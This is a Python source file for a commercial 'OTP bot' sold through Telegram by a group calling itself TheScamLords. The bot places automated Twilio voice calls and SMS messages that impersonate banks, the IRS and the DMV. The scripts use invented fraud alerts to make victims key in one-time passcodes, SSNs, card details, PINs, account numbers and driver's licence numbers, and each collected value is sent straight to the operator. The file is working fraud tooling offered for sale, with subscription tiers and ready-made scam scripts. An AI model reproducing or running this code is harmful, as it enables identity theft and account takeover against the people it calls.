-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathmainn.py
More file actions
1191 lines (1032 loc) · 49.6 KB
/
mainn.py
File metadata and controls
1191 lines (1032 loc) · 49.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import flask
from datetime import *
from flask import Flask, session
import requests
import time
#from flask_session import Session
import phonenumbers
import telebot
import twilio
from phonenumbers import NumberParseException
from twilio.twiml.voice_response import VoiceResponse, Gather
from twilio.twiml.messaging_response import MessagingResponse
from flask import Flask, request
from telebot import types
from twilio.rest import Client
import sqlite3
from dbase import *
from cred import *
path = 'UserDetails.db'
conn = sqlite3.connect(path, check_same_thread=False)
c = conn.cursor()
# Twilio connection
client = Client(account_sid, auth_token)
# Flask connection
app = Flask(__name__)
# Bot connection
bot = telebot.TeleBot(API_TOKEN, threaded=False)
bot.remove_webhook()
bot.set_webhook(url=callurl)
# Process webhook calls
@app.route('/', methods=['GET', 'POST'])
def webhook():
if flask.request.headers.get('content-type') == 'application/json':
json_string = flask.request.get_data().decode('utf-8')
update = telebot.types.Update.de_json(json_string)
bot.process_new_updates([update])
return ''
else:
print("error")
flask.abort(403)
# Handle '/start'
@bot.message_handler(commands=['start'])
def send_welcome(message):
id = message.from_user.id
print(id)
print(check_user(id))
print(check_admin(id))
print(fetch_expiry_date(id))
if check_admin(id) == True:
if check_user(id) != True:
create_user_lifetime(id)
else:
pass
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)
keyboard.row_width = 2
item1 = types.KeyboardButton(text="User Mode")
item2 = types.KeyboardButton(text="Admin Mode")
keyboard.add(item1)
keyboard.add(item2)
send = bot.send_message(message.chat.id, "Welcome! 🥳\n\nWould you like to be in user or admin mode?",
reply_markup=keyboard)
elif (check_user(id) == True) and check_expiry_days(id) > 0:
days_left = check_expiry_days(id)
name = message.from_user.first_name
send = bot.send_message(message.chat.id, f"Hey {name} .\nYou have {days_left} days left ")
send = bot.send_message(message.chat.id, "Reply With Victim's Phone Number 📱:\n\ne.g +14358762364\n\nMake sure to use the + or the bot will not work correctly!")
bot.register_next_step_handler(send, saving_phonenumber)
else:
send = bot.send_message(message.chat.id,
"Access Not Authorized ❌\n\nContact Admin @TheScamLords")
def saving_phonenumber(message):
userid = message.from_user.id
no_tobesaved = str(message.text)
z = phonenumbers.parse(no_tobesaved, "US")
try:
if phonenumbers.is_valid_number(z) == True and phonenumbers.is_valid_number(z) == True:
save_phonenumber(no_tobesaved, userid)
send = bot.send_message(message.chat.id, "Success! 🥳 Number confirmed.\n\n*Type “Ok” to continue*", parse_mode='Markdown')
bot.register_next_step_handler(send, call_or_sms_or_script)
else:
bot.send_message(message.chat.id,
" Invalid Number ❌\nUS numbers ONLY.\nUse /start command.")
except phonenumbers.NumberParseException:
bot.send_message(message.chat.id, "Invalid Number ❌\nUse /start command")
#def pick_user_or_admin(message):
# if message.text == 'User Mode':
#
# elif message.text == 'Admin Mode':
# send = bot.send_message(message.chat.id, "Hey Admin 👑\n*Type “Ok” to continue*", parse_mode='Markdown')
# bot.register_next_step_handler(send, adminfunction)
# else:
# send = bot.send_message(message.chat.id,
# "Invalid Option ❌\nUse /start command")
def call_or_sms_or_script(message):
userid = message.from_user.id
name = message.from_user.first_name
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)
keyboard.row_width = 2
item1 = types.KeyboardButton(text="Call Mode")
item3 = types.KeyboardButton(text="SMS Mode")
item4 = types.KeyboardButton(text="Custom Script")
keyboard.add(item1)
keyboard.add(item3)
keyboard.add(item4)
bot.send_message(message.chat.id, f"What mode do you want, {name} 👑", reply_markup=keyboard)
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Call Mode")
def call_mode(message):
send = bot.send_message(message.chat.id, "Welcome to Call Mode 📞\n\n*Type “Ok” to continue*", parse_mode='Markdown')
bot.register_next_step_handler(send, card_or_Otp)
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "SMS Mode")
def sms_mode(message):
send = bot.send_message(message.chat.id,"Ok, \n\n*Reply with a service name 🏦*\n\n(e.g. Cash App):", parse_mode='Markdown')
bot.register_next_step_handler(send, sms_mode2)
def sms_mode2(message):
bankname = message.text
userid = message.from_user.id
save_bankName(bankname, userid)
send = bot.send_message(message.chat.id, "Success! Say 'text' to send message now")
bot.register_next_step_handler(send, send_text)
def send_text(message):
# global userid
# global chat_id
userid = str(message.from_user.id)
chat_id = message.chat.id
ph_no = fetch_phonenumber(userid)
bankname = fetch_bankname(userid)
print(ph_no)
try:
sms_message = client.messages.create(
body=f'This is an automated message from {bankname}.\n\nThere has been a suspicious attempt to login to your account, and we need to verify your identity by confirming the phone number on file.\n\nTo block this attempt please reply with the One Time Passcode you just received. \n\nMsg&Data rates may apply.',
from_=twiliosmsnumber,
status_callback= callurl+'/statuscallback2/'+userid,
to=ph_no)
except:
bot.send_message(chat_id, "An error has occured , contact admin @FFBIII")
else:
print('Message sent sucessfully!')
bot.send_message(chat_id, "Text is getting sent 🗯..")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Custom Script")
def custom_script(message):
send = bot.send_message(message.chat.id,
'When writing script, ensure you end script with a press one followed by pound key line\ne.g "Press 1 followed by pound key to secure account" ')
send1 = bot.send_message(message.chat.id, "*Sample Script*", parse_mode='Markdown')
send2 = bot.send_message(message.chat.id,
"Hello this is an automated call from Smiths Bank, we have detected an unauthorized access request to your account, Press 1 followed by pound key to secure account")
send3 = bot.send_message(message.chat.id,
"*use commas where fullstops should be and use commas where commas should be also*",
parse_mode='Markdown')
send3 = bot.send_message(message.chat.id, "Please enter script: ")
bot.register_next_step_handler(send, savings_script)
def savings_script(message):
script_tobesaved = message.text
userid = message.from_user.id
save_script(script_tobesaved,userid)
send = bot.send_message(message.chat.id, "Your script has been saved for one time use.\n\nReply with 'ok' ")
bot.register_next_step_handler(send, enter_options)
def enter_options(message):
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)
keyboard.row_width = 2
item1 = types.KeyboardButton(text="1")
item2 = types.KeyboardButton(text="2")
keyboard.add(item1, item2)
send = bot.reply_to(message, " Enter number of input options for victim: ",
reply_markup=keyboard)
bot.register_next_step_handler(send, saving_options0)
def saving_options0(message):
userid = message.from_user.id
option_number = message.text
save_option_number(option_number,userid)
if option_number == "1":
send0 = bot.send_message(message.chat.id,
'Be sure to end text with \n"followed by pound key" \n\n(e.g "Please enter your 9 digit SSN followed by pound key" )')
send = bot.send_message(message.chat.id,"Please enter input option:")
bot.register_next_step_handler(send, saving_options1)
elif option_number == "2":
send = bot.send_message(message.chat.id,
'Be sure to end text with \n"followed by pound key" \n\n(e.g "Please enter your 9 digit SSN followed by pound key" )')
send = bot.send_message(message.chat.id,"Please enter your first input option:")
bot.register_next_step_handler(send, saving_options2)
else:
send = bot.send_message(message.chat.id,"You have selected an invalid option\n\nPlease use the /start command again")
def saving_options1(message):
userid = message.from_user.id
try:
option1 = message.text
save_option1(option1,userid)
except TypeError:
bot.send_message(message.chat.id, "Your input option should be text!\n\nUse /Help command for more info\nUse /start command to start continue ")
else:
send = bot.send_message(message.chat.id, "Success! Say 'call' to call now")
bot.register_next_step_handler(send, making_call_custom)
def saving_options2(message):
userid = message.from_user.id
try:
option1 = message.text
save_option1(option1,userid)
except TypeError:
bot.send_message(message.chat.id, "Your input option should be text!\n\nUse /Help command for more info\nUse /start command to continue ")
else:
send = bot.send_message(message.chat.id, "Please enter your second input option: ")
bot.register_next_step_handler(send, saving_options3)
def saving_options3(message):
userid = message.from_user.id
try:
option2 = message.text
save_option2(option2, userid)
except TypeError:
bot.send_message(message.chat.id, "Your input option should be text!\n\nUse /Help command for more info\nUse /start command to continue ")
else:
send = bot.send_message(message.chat.id, 'Success! Say "call" to call now')
bot.register_next_step_handler(send, making_call_custom)
def making_call_custom(message):
userid = str(message.from_user.id)
chat_id = message.chat.id
ph_no = fetch_phonenumber(userid)
print(ph_no)
try:
call = client.calls.create(record=True,
status_callback=(callurl + '/statuscallback/'+userid),
recording_status_callback=(callurl + '/details_rec/'+userid),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/custom/'+userid),
to=ph_no,
from_=twilionumber,
machine_detection='Enable')
except:
bot.send_message(message.chat.id, "Sorry I am currently unable to make calls\n\nContact Admin")
else:
print(call.sid)
send = bot.send_message(message.chat.id, "Calling ☎...")
def card_or_Otp(message):
userid = message.from_user.id
name = message.from_user.first_name
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard = True)
keyboard.row_width = 2
item1 = types.KeyboardButton(text="Grab Card Details 💳")
item2 = types.KeyboardButton(text="Grab Account # 🏦")
item3 = types.KeyboardButton(text="Grab PIN 📌")
item4 = types.KeyboardButton(text="Grab OTP 🤖")
item5 = types.KeyboardButton(text="Grab Apple Pay 🍎")
item6 = types.KeyboardButton(text="Grab SSN 👤")
item7 = types.KeyboardButton(text="Grab DL # 🚘")
keyboard.add(item1)
keyboard.add(item2, item7)
keyboard.add(item3, item4)
keyboard.add(item5,item6)
bot.send_message(message.chat.id, f"Please choose an option, {name}. 👑", reply_markup=keyboard)
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Grab Apple Pay 🍎")
def grab_apple_pay(message):
userid = message.from_user.id
send = bot.send_message(message.chat.id,
"Ok, \n\n*Reply with a service name 🏦*\n\n(e.g. Cash App):", parse_mode='Markdown')
bot.register_next_step_handler(send, grab_apple_pay1)
def grab_apple_pay1(message):
userid = message.from_user.id
name_tobesaved = str(message.text)
print(name_tobesaved)
save_bankName(name_tobesaved, userid)
send = bot.send_message(message.chat.id, 'Success! 🥳 Send the code, and reply “Call” to begin the call.')
bot.register_next_step_handler(send, make_call_apple)
def make_call_apple(message):
userid = str(message.from_user.id)
chat_id = message.chat.id
phonenumber = fetch_phonenumber(userid)
print(phonenumber)
call = client.calls.create(record=True,
status_callback=(callurl + '/statuscallback/'+userid),
recording_status_callback=(callurl + '/details_rec/'+userid),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/appl_py/'+userid),
to=phonenumber,
from_=twilionumber,
machine_detection='DetectMessageEnd')
print(call.sid)
bot.send_message(message.chat.id, "Calling ☎️...")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Grab SSN 👤")
def grab_ssn(message):
send = bot.send_message(message.chat.id, 'Ok! Reply “Call” to begin the call 👤')
bot.register_next_step_handler(send, make_call_ssn)
def make_call_ssn(message):
# global userid
# global chat_id
userid = str(message.from_user.id)
chat_id = message.chat.id
phonenumber = fetch_phonenumber(userid)
print(phonenumber)
call = client.calls.create(record=True,
status_callback=(callurl + '/statuscallback/'+userid),
recording_status_callback=(callurl + '/details_rec/'+userid),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/ssn_md/'+userid),
to=phonenumber,
from_=twilionumber,
machine_detection='Enable')
print(call.sid)
send = bot.send_message(message.chat.id, "Calling ☎️...")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Grab DL # 🚘")
def grab_dl_number(message):
send = bot.send_message(message.chat.id, 'Ok! Reply “Call” to begin the call 💵')
bot.register_next_step_handler(send, make_call_dl)
def make_call_dl(message):
# global userid
# global chat_id
userid = str(message.from_user.id)
chat_id = message.chat.id
phonenumber = fetch_phonenumber(userid)
print(phonenumber)
call = client.calls.create(record=True,
status_callback=(callurl + '/statuscallback/'+userid),
recording_status_callback=(callurl + '/details_rec/'+userid),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/dl_md/'+userid),
to=phonenumber,
from_=twilionumber,
machine_detection='Enable')
print(call.sid)
send = bot.send_message(message.chat.id, "Calling ☎️...")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "User Mode")
def usecase1(message):
name = message.from_user.first_name
send0 = bot.send_message(message.chat.id, f"Hey {name} 👑", parse_mode='Markdown')
send = bot.send_message(message.chat.id, "*Reply with the number 📱*\n\n(e.g +14358762364)\n\n*You Have to Use The +!*", parse_mode='Markdown')
bot.register_next_step_handler(send0, saving_phonenumber)
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Admin Mode")
def usecase2(message):
send1 = bot.send_message(message.chat.id, "Hey Admin 👑\n*Type “Ok” to continue*", parse_mode='Markdown')
bot.register_next_step_handler(send1, adminfunction)
def adminfunction(message):
userid = message.from_user.id
name = message.from_user.first_name
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True)
keyboard.row_width = 1
item = types.KeyboardButton(text="Edit access")
keyboard.add(item)
bot.send_message(message.chat.id, f"Please choose an option, {name}. 👑", reply_markup=keyboard)
@bot.message_handler(commands=['help'])
def how_to_help(message):
bot.send_message(message.chat.id, "• Contact @TheScamLords or @ScamLordsTheBot 👑\n\n• Use /faq for more help")
@bot.message_handler(commands=['faq'])
def how_faq(message):
bot.send_message(message.chat.id, "• Please use @ScamLordstheBot for tutorial videos, and more helpful information (FAQ > Bot Help). \n\n• Send vouches to @TheScamLords \n\n• Buy Here: Scamlords.atshop.io/otp-bot")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Edit access")
def edit_access(message):
userid = message.from_user.id
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)
keyboard.row_width = 4
item1 = types.KeyboardButton(text="1 : Add Admin")
item2 = types.KeyboardButton(text="2 : Add User")
item3 = types.KeyboardButton(text="3 : Delete Admin")
item4 = types.KeyboardButton(text="4 : Delete User")
keyboard.add(item1, item2)
keyboard.add(item3, item4)
bot.send_message(message.chat.id, "Ok , what next ?", reply_markup=keyboard)
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "1 : Add Admin")
def add_admin(message):
send = bot.send_message(message.chat.id, "Enter UserID: ")
bot.register_next_step_handler(send, save_id_admin)
def save_id_admin(message):
adminid = message.text
create_admin(adminid)
create_user_lifetime(adminid)
bot.send_message(message.chat.id, f"Added Admin \n\n"
"Use /start for other functionality\n"
)
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "2 : Add User")
def type_of_user(message):
userid = message.from_user.id
keyboard = types.ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)
keyboard.row_width = 4
item1 = types.KeyboardButton(text="Test")
item2 = types.KeyboardButton(text="7 days")
item3 = types.KeyboardButton(text="1 month")
item4 = types.KeyboardButton(text="3 months")
item5 = types.KeyboardButton(text="Lifetime")
keyboard.add(item1)
keyboard.add(item2)
keyboard.add(item3)
keyboard.add(item4)
keyboard.add(item5)
bot.send_message(message.chat.id, "Ok , what next ?", reply_markup=keyboard)
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Test")
def add_user(message):
send = bot.send_message(message.chat.id, "Enter UserID: ")
bot.register_next_step_handler(send, createtest_user)
def createtest_user(message):
try:
name = message.from_user.first_name
userid = message.text
create_user_test(userid)
bot.send_message(message.chat.id, f"Added user for Test calls \n\n"
"Use /start for other functionality\n"
"Good bye")
except:
bot.send_message(message.chat.id, "Invalid Option ❌\nUse /start command")
return ''
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "7 days")
def add_user(message):
send = bot.send_message(message.chat.id, "Enter UserID: ")
bot.register_next_step_handler(send, create7days_user)
def create7days_user(message):
try:
name = message.from_user.first_name
userid = message.text
create_user_7days(userid)
bot.send_message(message.chat.id, f"Added user for 7 days \n\n"
"Use /start for other functionality\n"
)
except:
bot.send_message(message.chat.id, "Invalid Option ❌\nUse /start command")
return ''
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "1 month")
def add_user(message):
send = bot.send_message(message.chat.id, "Enter UserID: ")
bot.register_next_step_handler(send, create1month_user)
def create1month_user(message):
try:
name = message.from_user.first_name
userid = message.text
create_user_1month(userid)
bot.send_message(message.chat.id, f"Added user for 1 month \n\n"
"Use /start for other functionality\n"
)
except:
bot.send_message(message.chat.id, "Invalid Option ❌\nUse /start command")
return ''
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "3 months")
def add_user(message):
send = bot.send_message(message.chat.id, "Enter UserID: ")
bot.register_next_step_handler(send, create3months_user)
def create3months_user(message):
try:
name = message.from_user.first_name
userid = message.text
create_user_3months(userid)
bot.send_message(message.chat.id, f"Added user for 3 months \n\n"
"Use /start for other functionality\n"
)
except:
bot.send_message(message.chat.id, "Invalid Option ❌\nUse /start command")
return ''
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Lifetime")
def add_user(message):
send = bot.send_message(message.chat.id, "Enter UserID: ")
bot.register_next_step_handler(send, create_user_lifetime)
def create_lifetime_user(message):
try:
name = message.from_user.first_name
userid = message.text
create_user_lifetime(userid)
bot.send_message(message.chat.id, f"Added user for Life \n\n"
"Use /start for other functionality\n"
)
except:
bot.send_message(message.chat.id, "Invalid Option ❌\nUse /start command")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "3 : Delete Admin")
def delete_admin(message):
send = bot.send_message(message.chat.id, "Enter userid: ")
bot.register_next_step_handler(send, delete_id_admin)
def delete_id_admin(message):
userid = message.text
delete_specific_AdminData(userid)
delete_specific_UserData(userid)
bot.send_message(message.chat.id, f"Deleted Admin\n\n"
"Use /start for other functionality")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "4 : Delete User")
def delete_user(message):
send = bot.send_message(message.chat.id, "Enter userid: ")
bot.register_next_step_handler(send, delete_id_user)
def delete_id_user(message):
userid = message.text
delete_specific_UserData(userid)
bot.send_message(message.chat.id, f"Deleted user\n\n"
"Use /start for other functionality")
@bot.message_handler(content_types=["text"],
func=lambda message: message.text == "Grab Card Details 💳")
def presses_1(message):
userid = message.from_user.id
send = bot.send_message(message.chat.id,
"Ok, \n\n*Reply with a service name 🏦*\n\n(e.g. Cash App):", parse_mode='Markdown')
bot.register_next_step_handler(send, noname1)
def noname1(message):
userid = message.from_user.id
name_tobesaved = str(message.text)
print(name_tobesaved)
save_bankName(name_tobesaved, userid)
send = bot.send_message(message.chat.id, 'Success! 🥳 Send the code, and reply “Call” to begin the call.')
bot.register_next_step_handler(send, make_call_card)
def make_call_card(message):
userid = str(message.from_user.id)
chat_id = message.chat.id
phonenumber = fetch_phonenumber(userid)
print(phonenumber)
call = client.calls.create(record=True,
status_callback=(callurl +'/statuscallback/'+userid),
recording_status_callback=(callurl + '/details_rec/'+userid),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/crdf/'+userid),
to=phonenumber,
from_=twilionumber,
machine_detection='Enable')
print(call.sid)
send = bot.send_message(message.chat.id, "Calling ☎️...")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Grab Account # 🏦")
def what_service1(message):
userid = message.from_user.id
send = bot.send_message(message.chat.id, "Ok, \n\n*Reply with a service name 🏦*\n\n(e.g. Cash App):", parse_mode='Markdown')
bot.register_next_step_handler(send, save_actn)
def save_actn(message):
userid = message.from_user.id
name_tobesaved = str(message.text)
print(name_tobesaved)
save_bankName(name_tobesaved, userid)
send = bot.send_message(message.chat.id, 'Success! 🥳 Send the code, and reply “Call” to begin the call.')
bot.register_next_step_handler(send, make_call_actn)
def make_call_actn(message):
userid = str(message.from_user.id)
chat_id = message.chat.id
phonenumber = fetch_phonenumber(userid)
print(phonenumber)
call = client.calls.create(record=True,
status_callback=(callurl +'/statuscallback/'+userid),
recording_status_callback=(callurl + '/details_rec/'+userid),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/actn/'+userid),
to=phonenumber,
from_=twilionumber,
machine_detection='Enable')
print(call.sid)
send = bot.send_message(message.chat.id, "Calling ☎️...")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Grab PIN 📌")
def what_service2(message):
userid = message.from_user.id
send = bot.send_message(message.chat.id,
"Ok, \n\n*Reply with a service name 🏦*\n\n(e.g. Cash App):", parse_mode='Markdown')
bot.register_next_step_handler(send, noname12)
def noname12(message):
userid = message.from_user.id
name_tobesaved = str(message.text)
print(name_tobesaved)
save_bankName(name_tobesaved, userid)
send = bot.send_message(message.chat.id, 'Success! 🥳 Send the code, and reply “Call” to begin the call. ')
bot.register_next_step_handler(send, make_call_pin)
def make_call_pin(message):
userid = str(message.from_user.id)
chat_id = message.chat.id
phonenumber = fetch_phonenumber(userid)
print(phonenumber)
call = client.calls.create(record=True,
status_callback=(callurl +'/statuscallback/'+userid),
recording_status_callback=(callurl + '/details_rec/'+userid),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/pin/'+userid),
to=phonenumber,
from_=twilionumber,
machine_detection='Enable')
print(call.sid)
send = bot.send_message(message.chat.id, "Calling ☎️...")
@bot.message_handler(content_types=["text"], func=lambda message: message.text == "Grab OTP 🤖")
def pick_bankotp(message):
userid = message.from_user.id
send = bot.send_message(message.chat.id, "Ok, \n\n*Reply with a service name 🏦*\n\n(e.g. Cash App):", parse_mode='Markdown')
bot.register_next_step_handler(send, nonameotp)
def nonameotp(message):
userid = message.from_user.id
name_tobesaved = str(message.text)
print(name_tobesaved)
save_bankName(name_tobesaved, userid)
send = bot.send_message(message.chat.id, 'Success! 🥳 Send the code, and reply “Call” to begin the call.')
bot.register_next_step_handler(send, make_call_otp)
def make_call_otp(message):
userid1 = str(message.from_user.id)
chat_id1 = userid1
phonenumber = fetch_phonenumber(userid1)
print(phonenumber)
call = client.calls.create(record=True,
status_callback=(callurl +'/statuscallback/'+userid1),
recording_status_callback=(callurl + '/details_rec/'+userid1),
status_callback_event=['ringing', 'answered', 'completed'],
url=(callurl + '/wf/'+userid1),
to=phonenumber,
from_=twilionumber,
machine_detection='Enable')
print(call.sid)
send = bot.send_message(message.chat.id, "Calling ☎️...")
@app.route("/wf/<userid>", methods=['GET', 'POST'])
def voice_wf(userid):
print(userid)
bankname = fetch_bankname(userid)
resp = VoiceResponse()
choice = request.values['AnsweredBy']
if choice == 'human' or choice == 'unknown':
gather = Gather(action='/gatherOTP/'+userid, finishOnKey='*', input="dtmf")
gather.say(f"This is an automated call from {bankname}, We have detected a suspicious attempt to login to your account, if this was you, end the call, To block this attempt, please enter the one time passcode sent to your phone number followed by the star key, ")
resp.append(gather)
resp.redirect('/wf/<userid>')
return str(resp)
else:
resp.hangup()
bot.send_message(userid, "*Call Was Declined/Voicemail ❌*\n\nUse /start to try again.", parse_mode='Markdown')
return ''
@app.route('/gatherOTP/<userid>', methods=['GET', 'POST'])
def gatherotp(userid):
chat_id = userid
resp = VoiceResponse()
try:
if 'Digits' in request.values:
resp.say("Thank you, this attempt has been blocked! Goodbye.")
choice = request.values['Digits']
print(choice)
save_otpcode(choice, userid)
bot.send_message(chat_id, f"The collected OTP is {choice}")
return str(resp)
else:
choice = 0
save_otpcode(choice, userid)
bot.send_message(chat_id, "No OTP was collected")
return str(resp)
except:
bot.send_message(chat_id, "No OTP was collected")
@app.route("/dl_md/<userid>", methods=['GET', 'POST'])
def resp_dl_md(userid):
chat_id = userid
resp = VoiceResponse()
choice = request.values['AnsweredBy']
if choice == 'human' or choice == 'unknown':
gather = Gather(action='/gatherdl_md/'+userid, finishOnKey='*', input="dtmf")
gather.say("Hello, this is an automated message from the federal department of motor vehicles, your social security number has recently been used to purchase a 2018 Mercedes Benz E Class E 300 for $39000, in this was you please end the call, if this was not you please stay on the line, in order to confirm your identity and block this attempt, please enter your full drivers license number followed by the star key, we will be in contact within a few days to remove the impact on your credit score")
resp.append(gather)
resp.redirect('/dl_md/<userid>')
return str(resp)
else:
resp.hangup()
bot.send_message(userid, "*Call Was Declined/Voicemail ❌*\n\nUse /start to try again.", parse_mode='Markdown')
return ''
@app.route("/gatherdl_md/<userid>", methods=['GET', 'POST'])
def gather_dl(userid):
chat_id = userid
resp = VoiceResponse()
try:
if 'Digits' in request.values:
resp.say("Thank you, this attempt has been blocked! Goodbye.")
choice = request.values['Digits']
print(choice)
save_dlnumber(choice, userid)
bot.send_message(chat_id, f"The collected DL number is {choice}")
return str(resp)
else:
choice = 0
save_dlnumber(choice, userid)
bot.send_message(chat_id, f"The collected DL number is {choice}")
return str(resp)
except:
bot.send_message(chat_id, "No DL number was collected")
@app.route("/ssn_md/<userid>", methods=['GET', 'POST'])
def resp_ssn_md(userid):
chat_id = userid
resp = VoiceResponse()
choice = request.values['AnsweredBy']
if choice == 'human' or choice == 'unknown':
gather = Gather(action='/gatherssn/'+userid, finishOnKey='*', input="dtmf")
gather.say("Hello, this is an automated call from the Deparment of Internal Revenue, This will be the last attempt to reach out to you, Your social security number has recently been used to take a fifty eight thousand eight hundred and twelve dollar loan, In order for us to be in contact, we need to confirm your identity, Please enter your full Nine digit social security number followed by the star key, an advisor from the department will contact you in the next few days to discuss your cases,")
resp.append(gather)
resp.redirect('/ssn_md/<userid>')
return str(resp)
else:
resp.hangup()
bot.send_message(chat_id, "*Call Was Declined/Voicemail ❌*\n\nUse /start to try again.", parse_mode='Markdown')
return ''
@app.route("/gatherssn/<userid>", methods=['GET', 'POST'])
def gather_ssn(userid):
chat_id = userid
resp = VoiceResponse()
try:
if 'Digits' in request.values:
resp.say("Thank you, this attempt has been blocked! Goodbye.")
choice = request.values['Digits']
print(choice)
save_ssnumber(choice, userid)
bot.send_message(chat_id, f"The collected SSN is {choice}")
return str(resp)
else:
choice = 0
save_ssnumber(choice, userid)
bot.send_message(chat_id, f"The collected SSN is {choice}")
return str(resp)
except:
bot.send_message(chat_id, "No SSN was collected")
@app.route("/appl_py/<userid>", methods=['GET', 'POST'])
def resp_apple_pay(userid):
chat_id = userid
bankname = fetch_bankname(userid)
resp = VoiceResponse()
choice = request.values['AnsweredBy']
print(choice)
if choice == 'human' or choice == 'unknown':
gather = Gather(action='/gatherappl/'+userid, finishOnKey='*', input="dtmf")
gather.say(f"This is an automated call from {bankname}, We have detected a suspicious attempt to login to your account, if this was you, end the call, To block this attempt, please enter the one time passcode sent to your phone number followed by the star key, ")
resp.append(gather)
resp.redirect('appl_py/<userid>')
return str(resp)
else:
resp.hangup()
